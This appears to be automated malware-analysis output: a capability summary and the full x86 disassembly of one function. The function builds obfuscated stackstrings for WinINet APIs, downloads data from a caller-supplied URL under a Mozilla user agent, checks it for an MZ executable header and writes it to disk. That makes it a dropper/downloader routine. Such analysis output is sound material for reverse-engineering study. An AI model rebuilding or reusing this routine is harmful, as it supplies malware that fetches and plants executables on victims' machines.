Function at 0x407ac0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
sub esp, 0x480
mov dl, 0x61
push ebx
mov byte [esp + 0x66], dl
mov byte [esp + 0x3a], dl
mov byte [esp + 0x17], dl
push ebp
mov bl, 0x65
mov al, 0x6c
mov cl, 0x64
mov dl, 0x4e
push esi
push edi
mov byte [esp + 0x64], 0x49
mov byte [esp + 0x65], 0x6e
mov byte [esp + 0x66], 0x74
mov byte [esp + 0x67], bl
mov byte [esp + 0x68], 0x72
mov byte [esp + 0x69], 0x6e
mov byte [esp + 0x6a], bl
mov byte [esp + 0x6b], 0x74
mov byte [esp + 0x6c], 0x43
mov byte [esp + 0x6d], al
mov byte [esp + 0x6e], 0x6f
mov byte [esp + 0x6f], 0x73
mov byte [esp + 0x70], bl
mov byte [esp + 0x71], 0x48
mov byte [esp + 0x73], 0x6e
mov byte [esp + 0x74], cl
mov byte [esp + 0x75], al
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0
mov byte [esp + 0x3c], 0x49
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x72
mov byte [esp + 0x41], 0x6e
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x74
mov byte [esp + 0x44], 0x52
mov byte [esp + 0x45], bl
mov byte [esp + 0x47], cl
mov byte [esp + 0x48], 0x46
mov byte [esp + 0x49], 0x69
mov byte [esp + 0x4a], al
mov byte [esp + 0x4b], bl
mov byte [esp + 0x4c], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x22], bl
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x46
mov byte [esp + 0x27], 0x69
mov byte [esp + 0x28], al
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x41
mov byte [esp + 0x2b], 0
mov byte [esp + 0x10], 0x57
mov byte [esp + 0x11], 0x49
mov byte [esp + 0x12], dl
mov byte [esp + 0x13], 0x49
mov byte [esp + 0x14], dl
mov byte [esp + 0x15], 0x45
mov byte [esp + 0x16], 0x54
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], cl
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0
mov byte [esp + 0x50], 0x49
mov byte [esp + 0x51], 0x6e
mov byte [esp + 0x52], 0x74
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0x72
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], bl
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x4f
mov byte [esp + 0x59], 0x70
mov byte [esp + 0x5a], bl
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [esp + 0x5e], al
lea eax, [esp + 0x50]
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x63], 0x6e
mov byte [esp + 0x64], 0x55
mov byte [esp + 0x65], 0x72
mov byte [esp + 0x67], 0x41
mov byte [esp + 0x68], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea edx, [esp + 0x20]
mov ebp, eax
push edx
push str.KERNEL32.dll
call esi
push eax
call edi
mov dword [esp + 0x88], eax
lea eax, [esp + 0x64]
lea ecx, [esp + 0x10]
push eax
push ecx
call esi
push eax
call edi
mov dword [esp + 0x80], eax
lea edx, [esp + 0x3c]
lea eax, [esp + 0x10]
push edx
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x94], eax
mov byte [esp + 0x34], 0x49
mov byte [esp + 0x35], 0x6e
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x6e
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3c], 0x4f
mov byte [esp + 0x3d], 0x70
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x41
mov byte [esp + 0x41], 0
call esi
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
xor eax, eax
mov ebx, 1
push str.lla_4.0__compatible_
mov dword [esp + 0x7c], eax
mov dword [esp + 0x88], eax
mov dword [esp + 0x80], ebx
call esi
mov edx, eax
push str.mozi
mov dword [esp + 0x20], edx
call esi
mov ecx, dword [esp + 0x1c]
lea edx, [ecx + eax + 1]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
push str.mozi
push esi
call fcn.00405320
push str.lla_4.0__compatible_
push esi
call fcn.00405350
add esp, 0x14
push 0
push 0
push 0
push 0
push esi
call edi
mov esi, eax
test esi, esi
jne 0x407d6a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret
mov eax, dword [esp + 0x494]
push 0
push 0x80000000
push 0
push 0
push eax
push esi
call ebp
mov ebp, eax
test ebp, ebp
jne 0x407d93
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret
mov ecx, dword [esp + 0x498]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [esp + 0xa4]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x407e34
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x90]
lea edx, [esp + 0x78]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x94]
push 0x400
push eax
push ebp
call dword [esp + 0x9c]
test ebx, ebx
je 0x407df4
cmp word [esp + 0x90], 0x5a4d
jne 0x407e21
mov edx, dword [esp + 0x78]
xor ebx, ebx
lea ecx, [esp + 0x84]
push ebx
push ecx
mov ecx, dword [esp + 0x24]
lea eax, [esp + 0x98]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x78]
test eax, eax
jbe 0x407e29
jmp 0x407dba
mov dword [esp + 0x7c], 0
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x80]
push ebp
call edi
push esi
call edi
mov ecx, dword [esp + 0x7c]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x480
ret